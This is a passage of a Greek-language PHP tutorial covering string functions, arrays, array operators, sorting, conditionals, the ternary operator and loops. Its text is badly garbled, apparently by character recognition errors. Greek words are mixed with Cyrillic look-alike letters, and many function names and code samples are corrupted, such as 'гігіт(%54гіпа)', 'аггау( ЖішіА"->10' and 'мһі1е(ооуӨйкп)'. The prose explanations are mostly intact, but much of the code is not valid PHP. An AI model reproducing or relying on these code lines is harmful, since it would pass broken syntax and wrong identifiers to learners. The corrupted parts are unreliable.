πρέπει να χρησιμοποιήσουμε то tag <br>. Σκεφτείτε тора την περίπτωση που 
ἑνα ἐγγραφο HTML περιλαμβάνει κὠδικα σε PHP, ο οποίος τυπώνει κείμενο. 
Па να εμφανιστεἰ σωστὰ το κείμενο, οι αλλαγὲς γραμμών θα πρέπει уа συνο- 
δεύονται апо то tag <br>. Όπως καταλαβαίνετε, το γεγονὸς αυτό δημιουργεί 
ἑνα πρὀβλημα. Μήπως θα πρέπει να ενσωματώνουμε то εν λόγω tag µέσα στις 
τιμές των διαφόρων μεταβλητών; Ευτυχώς για εμάς, η PHP διαθέτει ша ou- 
νάρτηση που λύνει аџто το πρόβλημα πανεύκολα. Πρόκειται για τη συνάρτηση 
nl2br($string), η οποία δέχεται σαν παράμετρο éva string κι επιστρέφει ἑνα 
ἄλλο, στο οποίο οι αλλαγές γραμμών xouv αντικατασταθεἰ апо то tag <br>. 
Ας δούμε va παράδειγµα: 
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<?рһр 

$mozilla = "Апа the beast shall бе made legion. Its numbers\n shall 
be increased a thousand thousand fold.\n The din of a million 
keyboards like unto a great\n storm shall cover the earth, and the 
followers\n of Mammon shall tremble."; 


$mozillabr = nl2br($mozilla) ; 
echo "<p>$mozilla </p>" ; 

echo "<p>$mozillabr</p>" ; 

?> 


τοποθετείστε τον παραπάνω κὠδικα σ' ἑνα ἐγγραφο HTML, ріЕте το έγγραφο 
στο Document Root του web server κι εξετἆστε то αποτέλεσµα που παράγεται 
σε κάποιον browser. 


Αφαίρεση κενών. Σε πολλὲς περιπτώσεις, ιδιαίτερα ὅταν έχουμε εἰσοδο δε- 
δομένων апо το χρήστη, πρέπει να αφαιρέσουμε тихом κενούς χαρακτήρες 
апо την архй ἡ апо το τέλος των συμβολοσειρών. Па αυτή την εργασία, џпо- 
ρούμε να χρησιμοποιήσουμε тіс συναρτήσεις lItrim($string), гігіт(%54гіпа) και 
ігіт(%<гіпа), о! οποίες επιστρἐφουν τη δοθεἰσα συμβολοσειρά απαλλαγμένη 
апо τους κενούς χαρακτήρες апо την αρχή, то τέλος ἡ και αμφότερα τα ἄκρα, 
αντίστοιχα. Ως κενοὶ χαρακτήρες λαμβάνονται υπόψη το κενό " ", то tab "\t", η 
αλλαγή γραμμἠς "\п", το carriage return "\г", то пи "ΝΟ" και το κάθετο tab "\ 
ΧΟΒ", Οι τρεις συναρτήσεις που αναφέραμε δέχονται προαιρετικἁ και ша ακόμα 
παράμετρο, αμέσως μετά τη συμβολοσειρά στην опоја θα επιδράσουν. Н про- 
σθετη παράμετρος καθορίζει τους χαρακτήρες που θἐλουµε να αφαιρεθούν. 


Εναλλαγή πεζὠν-κεφαλαίων. Κάποιες άλλες φορές εἶναι επιθυμητή η αλ- 
Лаүй ενόὸς κειµένου σε πεζἀ ἡ кефалаја. Τέτοιες μετατροπὲς γίνονται εὐκολα 
µε τη χρήση των συναρτήσεων strtoupper($string), η οποία μετατρέπει όλα 
τα γράμματα σε κεφαλαία, την strtolower($string), η οποία μετατρέπει όλα та 
γράμματα σε πεζἀ, την ucfirst($string), η οποία кау κεφαλαίο то прото γράμ- 
ра της συμβολοσειράς κι όλα τα άλλα πεζά, καθὼς και την исмогаз(Ф5 Епа), 
η οποία μετατρέπει σε κεφαλαἰο το прото γράμμα каде λέξης κι όλα τα άλλα 
πεζά. 


Λήψη τμήματος. Πα να πάρουμε ема τµήµα апо µια συμβολοσειρά, џпороџ- 
µε να χρησιμοποιήσουμε τη συνάρτηση substr($string, $start, ФіелдЕһ). Αυτή 
επιστρέφει το τµήµα της συμβολοσειράς $string, που ξεκινάει апо τη θέση! 
που δηλώνει η μεταβλητή $start και έχει μήκος τόσους χαρακτήρες, ὁσους 
δηλώνει η μεταβλητή $length. H length εἰναι προαιρετική και ау παραληφθεὶ 
η substr επιστρέφει όλους τους χαρακτήρες που απομένουν ἑως το τέλος της 
συμβολοσειρἁς. Αν η length πάρει αρνητικἠ τιµή, η substr λαμβάνει υπόψη της 
την απὀλυτη τιμή της length, алла "μετράει" µε фора апо τη θέση που δηλώνει 
η μεταβλητή start και προς την apx της συμβολοσειράς. 


Μήκος συμβολοσειράς. Πα την εύρεση του μήκους µια συμβολοσειράς (του 
πλήθους των χαρακτήρων της, δηλαδὴ), υπάρχει η συνάρτηση strlen($string). 


1. Η αρίθμηση των θέσεων µέσα σε ἑνα string ξεκινά апо то 0. 
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ο Αναζήτηση θέσης. Αν ψάχνουμε τη θέση ενὸς ἡ περισσότερων χαρακτή- 
ρων μέσα σε µια συμβολοσειρά, μπορούμε να αξιοποιήσουµε τη συνάρτηση 
зЕгорз(фтап5 па, фѕеагсһ, $start). Αυτή δέχεται ως παραμέτρους τη OUH- 
βολοσειρἀ στην οποία ектелоџџе την αναζήτηση, τους χαρακτήρες που ша- 
Χνουμε και το σημείο εκκίνησης της αναζήτησης. Το σηµείο εκκίνησης εἶναι 
προαιρετικὀ και αν δεν το ορἰσουµε, η αναζήτηση ξεκινάει апо την αρχἠ της 
συμβολοσειράς. Αντίστοιχη συνάρτηση για αναζητήσεις апо то τέλος της OUH- 
βολοσειρὰς προς την αρχή, εἶναι η strrops($mainString, $search, $start). Στην 
περίπτωση που δεν εντοπιστεἰ το ζητούμενο κείμενο, οι δύο συναρτήσεις еп!- 
στρέφουν την τιμή false. Едо όμως χρειάζεται λίγη προσοχἠ. Н PHP perta- 
φράζει τη boolean τιμή false στον αριθμό 0. Όμως, о αριθμὸς 0 ενδέχεται να 
αναφέρεται και στο ξεκίνημα (στην πρὠτη θέση) της συμβολοσειράς ἡ στο 
τέλος της (στην τελευταία θέση), ανάλογα µε τη συνάρτηση που χρησιμοποι- 
οὐμε. Έτσι, για να ελἐγξουµε αν βρέθηκε κἄποιο αποτέλεσµα ἡ ὀχι, δηλαδἠ ам 
η συνάρτηση гпеотреше false ἡ ὀχι, πρέπει να επιστρατεύσουμε τον τελεστή 
ταυτοποἰησης (===) κι ὀχι τον τελεστή σύγκρισης (==). 


Αναζήτηση και αντικατάσταση. Τέλος, αξίζει να αναφέρουμε τη симар- 
τηση που πραγµατοποιεὶ αντικαταστάσεις κειµένου. Πρόκειται για την str_ 
геріасе(%сеагсһ, $replace, $string), στην οποία δίνουμε το προς αντικατά- 
σταση τμήμα της συμβολοσειρἁς (search), τη συμβολοσειρά µε την опоіа θα 
αντικατασταθεἰ (replace) το συγκεκριµένο τµήµα και τη συμβολοσειρά στην 
οποία θα πραγµατοποιηθεἰ η αναζήτηση και η αντικατάσταση (string). 


Φυσικά, οι συναρτήσεις χειρισμού συμβολοσειρών δεν τελειώνουν εδώ. Еџејс πραγ- 
џатопотоаџе µια σύντομη αναφορά σε αυτὲς που θεωρούμε σημαντικότερες και πιο 
ενδιαφέρουσες. Στόχος µας ἦταν ма σας παρακινήσουμε WOTE уа εμβαθύνετε στο 
θέμα, ξεκινώντας τη μελέτη σας απὀ εδώ: www.php.net/manual/en/ref.strings.php. 


Πίνακες 


'Ема ἄλλος τύπος δεδοµένων της PHP, τον οποίο епјопс амафераџе στο προηγούμε- 
νο τεύχος, εἶναι οι πίνακες. Όπως ἐχουμε πει, οι "Вадротоі" (ἡ scalar) τύποι µετα- 
ВАптоу2 μπορούν να αποθηκεύουν µια μόνο τιµή ауа паса στιγµή. Αντίθετα, οι ni- 
νακες μπορούν να αποθηκεύσουν µια σειρά апо τιμές, εἰτε scalar εἶτε κι ολόκληρους 
πίνακες”. Στην РНР μπορούμε να προσπελάσουµε ёха στοιχείο εἰτε χρησιμοποιώντας 
Еуау αριθμητικὀ δεἰκτη΄ εἶτε µε τη βοήθεια емос ζεύγους key-value, дпоџ то key ci- 
ма! το στοιχείο µε то οποίο έχουμε συσχετίσει την εκάστοτε τιµή. AUTÒ το τελευταίο 
όμως, εἰμαστε σίγουροι дті σας μπέρδεψε. Ας αποσαφηνἰσουµε оса εἶπαμε µε δύο 
απλά παραδείγματα: 


$pinakasA = аггау(10,20,30); 
$pinakasB = аггау( ЖішіА"->10, '{1π1Β' 5220, ' Е1т1С' =>30); 


Στην περίπτωση του піуака А ορίσαμε τρείς τιμές, σε καθεμία апо τις οποίες αντι- 
στοιχεἰ ἑνας αριθμητικὸς δείκτης (το 0 στην τιμή 10, το 1 στην τιμὴ 20 και пй: Аё- 
γοντας). Έτσι, για να πάρουμε την πρῶτη τιµή, μπορούμε να χρησιμοποιήσουμε την 
ακὀλουθη σύνταξη: 


2. Вабротоі τύποι: integer, float, string, resource к.а. 
3. Ау η ἐκφραση «εἶναι χελώνες μέχρι κάτω» σας λέει κάτι, τότε σίγουρα διαβάζετε το σωστό περιοδικὀ ;) 
4. Ένας αριθμός που δείχνει τη θέση του στοιχείου µέσα στον πίνακα. Н αρίθμηση ξεκινά апо το 0. 
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echo $ріпакаѕА[0] ; 


Στον піуака B ἐχουμε συσχετίσει τις τιμὲς µε ορισμένους δείκτες. Έτσι, ο δείκτης 
"ΕΙΠΙΙΑ" αντιστοιχεί στην τιµή 10 κ.ο.κ. Па να προσπελάσουµε το прото στοιχείο 
αυτού του πἰνακα, χρησιμοποιούμε την ακόλουθη σύνταξη: 


echo $pinakasB['timiA'] ; 


Σε γλὠσσες προγραμματισμού ὁπως οι C/C++ και Java, οι πίνακες ¿xouv отаберо 
μήκος, το οποίο δεν µπορεί να μεταβληθεί. Έτσι, για να αλλάξουμε τις διαστάσεις 
ενὸς піуака, πρέπει кіте να τον ορίσουµε εκ νέου και µε то νέο μέγεθος, εἶτε να χρη- 
σιμοποιήσουμε κάποια борӣ δεδομένων µε μεταβλητὀ μέγεθος (п.х., double linked 
lists). Αντίθετα, στην PHP οι πίνακες ἐχουν µεταβλητὸ μήκος”. Έτσι μπορούμε ма 
τους προσθέτουμε στοιχεία ама паса στιγμή, χωρίς να νοιαζόµαστε για то αν ¿xouv 
ἡ για το αν πρὀκειται να γεμίσουν. Προκειμένου ν' αλλάξουμε το µἐγεθος емос ni- 
мака στην РНР, αρκεἰ να ορίσουμε το επόμενο στοιχεἰο του. Θυμηθείτε τους δύο 
πίνακες που ορίσαµε προηγουμένως και δείτε пос μπορούμε να τους επεκτεἰνουμε: 


$pinakasA[4] = 40 ; 
$pinakasB['timiD'] = 40; 


Όπως βλέπετε, αν проката για піуака µε αριθμητικοὺς δείκτες χρησιμοποιούμε том 
επόμενο στη σειρὰ δείκτη κι ορἰζουμε την αντίστοιχη τιµή. Αν πρὀκειται για πἰνακα 
µε δείκτες οριζόµενους απὀ το χρήστη, χρησιμοποιούμε ἑνα мео δείκτη κι αποδἰδου- 
µε τη νέα τιµή. Προφανώς, αν χρησιμοποιήσουμε ἑναν δείκτη που υπάρχει пап, η 
τιµή που θα του εκχωρήσουμε θα αντικαταστήσει την παλιά τιµή. Πα την αφαίρεση 
στοιχείων апо ἑναν πἰνακα μπορούμε να χρησιμοποιήσουμε τη συνάρτηση unset(). 
H unset "καταστρέφει" οποιαδήποτε μεταβλητή της δώσουμε ως παράμετρο, ano- 
δεσμεύοντας την αντίστοιχη περιοχἠ της μνήμης. Στην περίπτωση των στοιχείων 
ενὸς πἰνακα, δίνουμε το буора του πίνακα µε том αντίστοιχο δείκτη. Πα παράδειγµα, 
αρκεἰ να δώσουμε κἀτι τέτοιο: 


unset($pinakasA[4]) ; 
unset($pinakasB['timiD']) ; 


Έτσι, αφαιρούμε το τελευταίο στοιχεἰο των δύο πινάκων. 


Παρεμπιπτόντως, αν θέλουμε уа τσεκάρουµε την ὑπαρξη µιας µεταβλητής, no- 
роон να χρησιμοποιήσουμε τη συνάρτηση іссе). Σε αυτήν δίνουμε ως παράμετρο 
µια μεταβλητή κι αν ἐχει οριστεἰ παίρνουμε την τιµή της, ενώ ау δεν ἐχει οριστεί η 
συνάρτηση isset επιστρέφει false. 


Τελεστὲς πινάκων 


Ὅπως και για τις υπόλοιπες μεταβλητές, ἐτσι και για τους πίνακες п PHP παρέχει 
ορισμένους τελεστές: 


5. Αυτό εἶναι δυνατὸν διότι, ὅπως αναφέραμε και στο прото άρθρο της σειράς, οι πίνακες στην РНР ауапарістаута! «εσωτερικά» σαν µια 
δομή δεδοµένων τύπου «ταξινομημένου λεξικού». 
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А 'Evoo $a+$b (προσθέτει τα στοιχεία του πἰνακα b στο те- 
η λος του πἰνακα а) 


| wmo | == $b (επιστρέφει true ам оі πίνακες а και b εἶναι 
iooi: ἐχουν στοιχεἰα µε то ἰδιο ζεύγος key-value) 


$a === $b (επιστρέφει true αν οι πίνακες а και b 
ταυτότητα εἶναι ταυτόσημοι: ἐχουν στοιχεία µε το ἴδιο ζεύγος 
key-value, την ἴδια сара και τον ἴδιο τύπο) 
Іш 5 | 
EREI $a ! „$b (επιστρέφει ігие ау οι πίνακες а και b δεν 
εἶναι ісоі, ὁπως ορἰσαµε την ισότητα παραπάνω) 


να © 80 (боре το 1 


$a !== $b (επιστρέφει true αν οι πίνακες а και b 
Μη-ταυτότητα | δεν εἶναι ταυτόσημοι, ὁπως ορίσαμε την ταυτοση- 
ша παραπάνω) 


Πα την περίπτωση της πρὀσθεσης δύο πινάκων πρέπει να κάνουμε µια διευκρίνιση: 
Αν οι πίνακες περιλαμβάνουν στοιχεἰα µε то ἰδιο key, ова προέρχονται апо τον niva- 
κα που βρίσκεται δεξιά του τελεστή θα αγνοηθούν πλήρως. Αυτό σημαίνει ὁτι οὐτε 
θα προστεθούν, οὐτε θα αντικαταστήσουν τις τιμὲς των στοιχείων του πίνακα που 
βρίσκεται αριστερά του τελεστή. 


ШЕН 


Συναρτήσεις πινάκων 


Па τον χειρισμό των πινάκων η РНР προσφἑρει µια μεγάλη ποικιλἰα апо ἑτοιμες συ- 
ναρτήσεις. Στη συνέχεια θα δούµε ορισμένες апо αυτές, που παρουσιάζουν ιδιαίτερο 
ενδιαφέρον: 


ο Αυτόματη δηµιουργία. Н συνάρτηση range(start, епа, [step]) κάνει την ἴδια 
δουλειά µε την ομώνυμη συνάρτηση της Python. Δημιουργεί δηλαδὴ гмам ni- 
мака µε στοιχεἰα ὁλους τους αριθμούς апо το start έως то епа. Н ἴδια συνάρ- 
τηση δέχεται και µια προαιρετικἠδ παράμετρο (τη step), µε την οποία μπορούμε 
уа καθορίσουμε то βήμα προσαύξησης για τον υπολογισμό του επόμενου OTOI- 
χείου. Н προεπιλεγμµένη τιμὴ εἶναι 1. Οι παράμετροι start και епа δεν δέχονται 
μόνο αριθμητικὲς τιμές. Μπορούμε να τους αποδώσουµε ως τιµἠ κι апо ἑναν 
χαρακτήρα. Σε αυτή την περίπτωση, ο πίνακας που δημιουργείται περιλαμβάνει 
ως στοιχεία όλους τους χαρακτήρες апо том start ἑως тоу end. Н σειρἀ των 
χαρακτήρων καθορίζεται µε βάση τον κωδικό ASCII του καθενὸς. Едо) χρειάζε- 
ται λίγη προσοχή, καθώς οι κεφαλαΐοι χαρακτήρες ἐχουν διαφορετικὀ κωδικό 
ASCII апо τους αντίστοιχους πεζούς και μάλιστα αριθµητικἀ μικρότερο! Έτσι, 
αν δώσουμε το X σαν start και το g σαν епа, θα πάρουμε ἑναν πίνακα που θα 
περιλαμβάνει όλους τους κεφαλαίους χαρακτήρες απὀ το X ос το τέλος του 
αλφάβητου (X, У και Z), τους χαρακτήρες [, \, ], ^, ка (οι οποίοι σύμφω- 
уа µε τον κωδικὀ ASCII τοποθετούνται ανάμεσα στα κεφαλαία και στα πεζὰ 
γράμματα) και στη συνέχεια τα πεζά γράμματα апо το а ἑως και то g (а, b, с, 
а, е, f Kai g). 


6. Н χρήση των αγκυλών αποτελεί µια κλασικἠ σύμβαση, για τη διάκριση των προαιρετικὠν παραμέτρων. 
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ο Ταξινόμηση πινάκων µε αριθμητικούς δεἰκτες. Στην περίπτωση που θέ- 
λουµε ма ταξινοµήσουµε та στοιχεία емос піуака, προσφέρεται η συνάρτη- 
ση зог (фаггау, [5ογί Π8α]). Н συνάρτηση sort εἶναι ευαίσθητη στη бійкрі- 
ση πεζὠν-κεφαλαίων και η сера στην οποία τα κατατάσσει βασίζεται (пал!) 
στον αντίστοιχο κωδικὀ ASCII. H προαιρετικἠ παράμετρος sort_flag μπορεἰ να 
λάβει τιμὲς: ΦΟΕΤ КЕСІЛАВК (ταξινόμηση δίχως аллаућ τύπων — προεπιλο- 
үй), 5ΟΒΤ МОМЕКІС (μετατρέπει τα στοιχεία σε αριθμούς και та τοποθετεί σε 
αριθµητικἠ σειρὰ), 5ΟΒΤ 5ТКІМС (μετατρέπει τα στοιχεία σε strings και та TO- 
ποθετεἰ σε αλφαβητικἡ σειρά), ЅОВТ ΙΟΟΑΙΕ 5ТКІМС (κάνει ταξινόμηση ως 
strings βασιζόμενο στις τοπικὲς ρυθμίσεις του συστήματος), SORT_NATURAL 
(εκτελεί ταξινόμηση µε βάση емам αλγόριθμο "φυσικής ταξινόμησης", π.χ., та 
στοιχεία 'img10.png', ітд1.рпа και 'img5.png' θα ταξινομηθούν ως 'imgi.png', 
'img5.png' και "та1о.рпа'), БОВТ ҒІАС САБ5Е (χρησιµοποιείται συνδυαστικἁ 
µε τις ЅОВТ 5ТКІМС και SORT_NATURAL, ὥστε η σύγκριση να εκτελεστεὶ 
δίχως διάκριση πεζὠν-κεφαλαἰων). 


ο Ταξινόμηση πινάκων µε δεἰκτες-κλειδιά. Όταν χρησιμοποιούμε πἰνακες 
µε δείκτες οριζόµενους апо εμάς, απαιτείται μεγάλη προσοχἠ ката την ταξι- 
νόµηση. H χρήση της sort θα τροποποιήσει τα ονόματα των κλειδιών. Συγκε- 
кршема, θα αντικαταστήσει каде κλειδὶ µε την αριθµητικἠ θέση που θα ἐχει то 
αντἱστοιχο στοιχείο, αν ταξινομηθεί ο πἰνακας! Μιλάμε για σπουδαῖο џперде- 
ра ;) Σε τέτοιους πίνακες, λοιπὀν, πρέπει να κάνουμε χρήση της συνάρτησης 
аѕог (фаггау, [sort_flag]), η οποία ταξινομεί τα στοιχεία του піуака µε βάση 
τις τιμὲς κι όχι τα κλειδιά, ενώ διατηρεὶ τα ονόματα των κλειδιὼν αναλλοίω- 
τα. Εναλλακτικά, μπορούμε να χρησιμοποιήσουμε τη συνάρτηση кѕог (фаггау, 
[5ογί На41), η οποία ταξινομεί τα στοιχεία του πἰνακα µε βάση τα ονόματα των 
κλειδιών. Πα την προαιρετικἠ παράμετρο sort_flag ισχύουν ода εἶπαμε για τη 
συνάρτηση sort(). 


Αντίστροφη ταξινόμηση. Με τις συναρτήσεις που εἶδαμε παραπάνω, η ταξι- 
νόµηση πραγματοποιείται µε αὐξουσα σειρἀ. Αν θέλουμε να την εκτελέσουµε 
µε φθίνουσα σειρά, πρέπει να χρησιμοποιήσουμε тіс "αντεστραμμένες" EK- 
дохес των παραπάνω συναρτήσεων. Αυτές εἶναι Οἱ гзог (фаггау, [sort_flag]), 
агзог (фаггау, [sort_flag]) και Кгзог (Фаггау, [sort_flag]). 


Αντιστροφή. Μπορούμε να αντιστρἐψουµε τη σειρἁ των στοιχείων емос niva- 
κα, κάνοντας χρήση της συνάρτησης аггау геуегзе(Фаггау). 


Ανακάτωμα. Μερικὲς φορὲς χρειάζεται να ανακατέψουµε τα στοιχεία του 
πίνακα κι ато µπορεί να γίνει πανεύκολα µε τη βοήθεια της συνάρτησης 
5һиҒНе(Фаггау). 


Πλήθος στοιχεἰων. Па уа рабочие то πλήθος των στοιχείων емос πίνακα, pno- 
ρούμε να χρησιμοποιήσουμε τη συνάρτηση соип (фаггау) ἡ την бігеоҚФаггау). 


Όπως και µε τις συναρτήσεις χειρισμού συμβολοσειρών, ἐτσι και στην περίπτωση 
των συναρτήσεων για τους πίνακες προτείνουμε уа μελετήσετε το αντίστοιχο ке џе- 
νο τεκμηρίωσης της PHP: www.php.net/manual/en/function.array.php 

Λήψη αποφάσεων 

Σε κάθε γλῶσσα προγραμματισμού υπάρχουν κατάλληλες δομές, οι οποίες επιτρὲ- 
πουν την εκτέλεση του ενὸς ἡ του ἄλλου τμήματος κὠδικα σύμφωνα µε την ἐκβαση 
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ενὸς ελἐγχου. H PHP δεν θα μπορούσε ма αποτελεἰ εξαἰρεση. Ἔτσι, yia τη λήψη 
αποφάσεων συναντάμε την κλασική орд if µε την προαιρετικἡ προσθήκη των else 
if και else: 

1Γ(συνθήκη) 

κώδικας προς εκτέλεση αν ισχύει η συνθήκη ; 

else 1ξ(συνθήκη В) 

κώδικας προς εκτέλεση αν δεν ισχύει η παραπάνω συνθήκη *коа1* ισχύει αυτή ; 

else 


κώδικας προς εκτέλεση αν δεν ισχύει kapia από τις παραπάνω συνθήκες ; 


Οι else if και else χρησιμοποιούνται μόνο ὀταν το επιθυμούμε, ενώ η else if µπορεί 
να γραφεί και χωρίς то кемо (elseif). Επιπρόσθετα, αν θέλουμε уа εκτελέσουµε πολ- 
λὲς γραμμὲς κὠδικα σε κάποια апо τις περιπτώσεις, θα прёп уа περικλεἰσουµε τις 
γραμμές σε ἑνα μπλοκ κὠδικα. Τα μπλοκ κὠδικα οριοθετούνται µε éva ζεύγος апо 
άγκιστρα (4 και }). 


Ектос απὀ τη борц if, η РНР προσφέρει και τη δομή switch, που εἶναι ιδανικἠ όταν 
θέλουμε уа ελἐγξουµε την τιµή µιας μεταβλητής και οι πιθανές επιλογὲς εἶναι пол- 
Дес: 
и ζεπ(μεταβλητή){ 
case "τιμή А": 
κώδικας προς εκτέλεση αν η μεταβλητή έχει τιµή А; 
break ; 
case "τιμή В": 
κώδικας προς εκτέλεση αν η μεταβλητή έχει τιμή В ; 
break ; 
саѕе "τιμή Г": 
κώδικας προς εκτέλεση αν η μεταβλητή έχει τιμή Г ; 
break ; 
default: 
κώδικας προς εκτέλεση για κάθε άλλη περίπτωση ; 
break ; 


) 


Н χρήση της εντολἠς break εἶναι ката капоюу τρόπο υποχρεωτική. Н εν λόγω εντο- 
Ай διακόπτει τη рой του προγράμματος και μεταφέρει τον ἐλεγχο στο τέλος του 
μπλοκ. Έτσι, η χρήση της break εξασφαλίζει бт! θα εκτελεστεἰ ο κώδικας «μόνον 
ενὸς case. Χωρίς την break θα εκτελεστεἰ ο κώδικας του σωστού Case κι αµέσως 
μετὰ о κὠδικας των επόμενων cases! Κάτι τέτοιο, αν και παράξενο, εἶναι σε μερικὲς 
περιπτώσεις χρήσιμο’. 


7. Ὅπως, για παράδειγµα, στην επίλυση του υπέρτατου υπολογιστικού προβλήματος των к\џакотоу χρεώσεων της ДЕН! 
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Μια акоџп δομή ελέγχου αποτελεἰ о λεγόμενος τριαδικὀς τελεστής "?:". Αυτός ο TE- 
λεστἠς μοιάζει µε ша συντετµημµένη γραφή της ohg if-else και ἐχει την εξἠς γενικἠ 
σύνταξη: "συνθήκη 2 τιµή αν ισχύει : τιµή αν δεν ισχύει". Ας δούµε ἑνα παράδειγµα: 


Фсатерогу = %111Ккіа >= 18 2 "Ενήλικος" : "Ανήλικος" ; 


echo "Еісте $category" ; 


Н μεταβλητή category θα πάρει μία апо τις δύο τιμές που ενδέχεται να επιστρέψει 
о τριαδικὸς τελεστής. Έτσι, αν η συνθήκη "$ilikia >= 18" εἶναι αληθἠς θα αποδοθεὶ 
η τιµή "Ενήλικος", ενὠ αν η συνθήκη εἶναι ψευδής θα αποδοθεἰ η τιµή "Ανήλικος". 
Έχουμε πει αρκετὲς φορὲς --και να εἶστε βέβαιοι оп θα то ξαναπούμε-- πως п РНР 
έχει αρκετά "ελαστικό" συντακτικὀ, µε ὁ,τι BETIKO ἡ αρνητικὀ μπορεί να συνεπάγεται 
κάτι τἐτοιο. Ἔτσι, τα μπλοκ κὠδικα στις δομές if και switch δεν οριοθετούνται μόνο 
µε та ἁγκιστρα. Εναλλακτικά, μπορούμε να ξεκινήσουμε ема μπλοκ µε том xapa- 
κτήρα дуо και като τελεία (: ) και να то τερµατίσουµε χρησιμοποιώντας тіс λέξεις 
κλειδιά endif και endswitch αντίστοιχα. Προφανώς, η ομάδα ανάπτυξης της PHP δεν 
εισήγαγε τους εναλλακτικούς τρόπους σύνταξης για να ξυπνήσει ρομαντικὲς ava- 
μνήσεις апо την εποχἠ της BASIC. Όπως θα θυμόσαστε, μέσα σε ἑνα έγγραφο HTML 
μπορούμε ма ξεκινήσουμε και να διακόψουµε τον κώδικα PHP οπουδήποτε κι ono- 
τεδήποτε θέλουμε. Με ἄλλα λόγια, ο κὠδικάς µας μπορεὶ να εἶναι τεμαχισμένος και 
τα διάφορα τμήματά του να µην βρίσκονται σε κοντινές θέσεις! Н χρήση του εναλ- 
λακτικού συντακτικού που παρουσιάσαμε για τα μπλοκ, διευκολύνει την ανάγνωση 
του κὠδικα. Па ма το καταλάβετε αυτό, σκεφτείτε την περίπτωση που συναντάτε 
ἑνα τµήµα κὠδικα PHP μέσα σε ἑνα ἐγγραφο HTML και ξαφνικά βλέπετε va δεξιὸ 
ἀγκιστρο. Ποιο μπλοκ κλείνει, άραγε; E, ποιο; 


Παράδειγμα µε τη χρήση ἀγκιστρων: 


$metavliti = $userin["uname"] ; 
ТЕ (Фтетау11%41 == “kati™) 5 

>> 

<div>Bla bla bla</div> 

<?php 

} 

ао5оте“һіпе(); 


О ἰδιος κὠδικας µε τη χρήση του εναλλακτικού συντακτικού: 


$metavliti = $userin["uname"] ; 


if ($metavliti == "Κατ "): 
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?> 

<аіу>В1а bla bla</div> 
<?php 

endif ; 


doSomething() ; 


Νομίζουμε бт! στη δεύτερη περίπτωση о κὠδικας PHP εἶναι πολὺ πιο κατανοητός! 


Επαναλήψεις 


Οι επαναληπτικὲς δομὲς εἶναι απὀ та Васка συστατικἁ µιας γλὠσσας проураџџат!- 
оной. М' αυτὲς μπορούμε уа εκτελούμε va κομμάτι кобіка για ово ισχύει κάποια 
συνθήκη. H PHP υποστηρίζει τἐσσερεις κλασικὲς δομὲς επανάληψης. 
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While loop. Н δομή while ελέγχει µια συνθήκη και εφόσον ισχύει, εκτελεἰ το 
μπλοκ κὠδικα που ακολουθεἰ. Н εκτἐλεση του μπλοκ επαναλαμβάνεται για ὁσο 
διάστηµα επαληθεύεται η αρχικἠ συνθήκη. Н σύνταξη της εν λόγω δομής ἐχει 
ως εξής: 


мһі1е(ооуӨйкп) { 
κώδικας προς επανάληψη 


) 


Do – While loop. Αυτή η δομή ομοιάζει µε την προηγούμενη, αλλά παρουσι- 
ἀζει ша µικρή διαφορά: Το μπλοκ κώδικα που ακολουθεἰ εκτελείται Ἐτουλάχι- 
отоу* µια фора. Аџто οφείλεται στο γεγονὸς от! η συνθήκη επανάληψης £p- 
Φανίζεται (κι ελἐγχεται) αμέσως μετὰ апо το μπλοκ κὠδικα. Εφόσον η συνθήκη 
επαληθεύεται, το προηγούμενο μπλοκ εκτελείται εκ νέου και πάει λέγοντας: 


4ο { 
κώδικας προς επανάληψη 


} чһі1е(сомӨйкп); 


For loop. Οι δύο παραπάνω δομές επαναλήψεων εἰναι ιδανικἐς για τις περι- 
πτώσεις που δεν γνωρίζουμε εκ των προτέρων το πλήθος των επαναλήψεων. 
Отау ὁμως το γνωρἰζουμε, μπορούμε να χρησιμοποιήσουμε τη борц for. Ao- 
үка, αν έχετε ασχοληθεἰ µε ἑστω και µία γλὠσσα προγραμματισμού, θα yva- 
ρἰζετε пдп τη σύνταξη της δοµἠς for. Ας δούµε éva παράδειγµα της γενικἠς 
μορφἠς емос τέτοιου βρὀχου: 


for ($metritis=0; $metritis < arithmos_epanalipseon; $metritis++) { 
κώδικας προς επανάληψη 
} 


Еогеасћ loop. Н χρήση αυτής της δοµἠς συνδυάζεται ἀριστα µε τους πίνακες. 
Με аит) τη борӣ μπορούμε να διατρἐξουµε τα στοιχεία ενὸς пмака ἑνα προς 
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Еуа, χωρίς να χρησιμοποιήσουμε κάποιον δείκτη, χωρίς να φροντίσουμε για 
την αὐξηση του δείκτη και χωρίς να ανησυχούμε μήπως υπερβούμετο μέγεθος 
του πίνακα. Όλα αυτά τα αναλαμβάνει για εμάς η РНР. Н σύνταξη της δομής 
Ғогаесһ ἐχει την ακὀλουθη μορφή: 


foreach (%ріпаКа as %5%оіхеіо) { 
κώδικας προς επανάληψη 


) 


Σε каде εκτέλεση του μπλοκ, η μεταβλητή $stoixeio ἐχει την τιµή емос ЕК TWV 
στοιχείων του πίνακα фріпакаѕ. Ау ο піуакас µας ἐχει δείκτες που ορἰσαμε 
εμείς кі ектос απὀ την τιµή каде στοιχείου θέλουμε να λάβουμε και то ὀνομα 
του αντίστοιχου δείκτη, μπορούμε να χρησιμοποιήσουμε την εξἠς σύνταξη: 


foreach (%ріпаКа as $key => $value) { 
κώδικας προς εκτέλεση 


} 


Σε αυτή την περίπτωση, σε каде ектелеоп του μπλοκ οι μεταβλητὲς $key και $value 
ἐχουν ως τιµή то буора ενὸς апо τους δείκτες και την αντίστοιχη τιµή του пімака 
$pinakas. 


Πριν προχωρήσουμε, σημειώστε От! η εντολἡ break που συναντήσαμε στη борі 
switch δύναται να χρησιµοποιηθεἰ και σε ὀλες τις δομές επανάληψης. Н ектелеоћ 
της ἔχει ос αποτἐλεσµα τον πρὀωρο терџапоџо των επαναλήψεων. Ας δούµε va 
παράδειγµα: 


4ο { 

κώδικας προς επανάληψη 

if (συνθήκη1) break; 

} мһі1е(соуӨйкц2); 
Στο παραπάνω апоспаоџа, ο "κώδικας προς επανάληψη" θα επαναλαμβάνεται μέχρι 
να πάψει να ισχύει η "συνθήκη2" ἡ μέχρι να επαληθευτεί η "συνθήκη1". 


Ὅπως και µε тіс δομές λήψης αποφάσεων, ёто και στις доџес επανάληψης η РНР 
υποστηρίζει ἐναν εναλλακτικὀ τρόπο οριοθέτησης των μπλοκ. Аџтос о τρόπος npo- 
βλέπει και пал! την ἐναρξη ενός μπλοκ µε τον χαρακτήρα ἄνω και κάτω τέλεια 
